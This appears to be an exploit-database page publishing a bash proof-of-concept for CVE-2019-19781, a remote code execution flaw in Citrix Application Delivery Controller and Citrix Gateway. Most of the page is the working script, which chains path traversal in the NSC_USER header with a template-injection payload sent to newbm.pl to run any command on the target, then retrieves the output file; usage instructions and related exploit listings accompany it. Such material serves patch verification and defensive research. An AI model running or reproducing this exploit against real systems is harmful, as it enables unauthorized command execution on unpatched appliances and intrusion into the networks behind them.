Citrix Application Delivery Controller and Citrix Gateway - Remote Code Execution (PoC)

🗓️ 11 Jan 2020 00:00:00Reported by Project Zero IndiaType

exploitdb🔗 www.exploit-db.com👁 831 Views

Remote Code Execution exploit for Citrix Application Delivery Controller and Citrix Gateway - CVE-2019-19781. Usage: bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUT

Reporter	Title	Published	Views	Family All 172
GithubExploit	Exploit for Path Traversal in Citrix Application_Delivery_Controller_Firmware	9 Jul 202005:17	–	githubexploit
GithubExploit	Exploit for Path Traversal in Citrix Application_Delivery_Controller_Firmware	9 Jul 202014:26	–	githubexploit
GithubExploit	Exploit for Path Traversal in Citrix Application_Delivery_Controller_Firmware	21 Jan 202023:13	–	githubexploit
GithubExploit	Exploit for Path Traversal in Citrix Application_Delivery_Controller_Firmware	13 Jan 202007:42	–	githubexploit
GithubExploit	Exploit for Path Traversal in Citrix Application_Delivery_Controller_Firmware	28 Jan 202012:09	–	githubexploit
GithubExploit	Exploit for Path Traversal in Citrix Application_Delivery_Controller_Firmware	11 Jan 202000:08	–	githubexploit
GithubExploit	Exploit for Path Traversal in Citrix Application_Delivery_Controller_Firmware	10 Jan 202022:56	–	githubexploit
GithubExploit	Exploit for Path Traversal in Citrix Application_Delivery_Controller_Firmware	23 Jan 202008:41	–	githubexploit
GithubExploit	Exploit for Path Traversal in Citrix Application_Delivery_Controller_Firmware	17 Jul 202011:52	–	githubexploit
GithubExploit	Exploit for Path Traversal in Citrix Application_Delivery_Controller_Firmware	30 Jul 202017:37	–	githubexploit

#!/bin/bash
# Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway - CVE-2019-19781
# Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE e.g : bash CVE-2019-19781.sh XX.XX.XX.XX 'uname -a'
# Release Date : 11/01/2020
# Follow Us : https://twitter.com/ProjectZeroIN / https://github.com/projectzeroindia
echo "=================================================================================
 ___             _           _     ____                 ___           _  _
| _ \ _ _  ___  (_) ___  __ | |_  |_  / ___  _ _  ___  |_ _| _ _   __| |(_) __ _
|  _/| '_|/ _ \ | |/ -_)/ _||  _|  / / / -_)| '_|/ _ \  | | | ' \ / _' || |/ _' |
|_|  |_|  \___/_/ |\___|\__| \__| /___|\___||_|  \___/ |___||_||_|\__,_||_|\__,_|
              |__/                                                 CVE-2019-19781
================================================================================="
##############################
if [ -z "$1" ];
then
echo -ne 'Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE\n'
exit;
fi
filenameid=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1);
curl -s -k "https://$1/vpn/../vpns/portal/scripts/newbm.pl" -d "url=http://example.com\&title=[%25+template.new({'BLOCK'%3d'exec(\'$2 | tee /netscaler/portal/templates/$filenameid.xml\')%3b'})+%25]\&desc=test\&UI_inuse=RfWeb" -H "NSC_USER: /../../../../../../../../../../netscaler/portal/templates/$filenameid" -H 'NSC_NONCE: test1337' -H 'Content-type: application/x-www-form-urlencoded' --path-as-is
echo -ne "\n" ;curl -m 3 -k "https://$1/vpn/../vpns/portal/$filenameid.xml" -s -H "NSC_NONCE: pwnpzi1337" -H "NSC_USER: pwnpzi1337" --path-as-is
echo -ne "Command Output :\n"
curl -m 3 -k "https://$1/vpn/../vpns/portal/$filenameid.xml" -H "NSC_NONCE: pwnpzi1337" -H "NSC_USER: pwnpzi1337" --path-as-is

11 Jan 2020 00:00Current

10High risk

Vulners AI Score10

CVSS 27.5

CVSS 3.19.8

EPSS0.94442

SSVC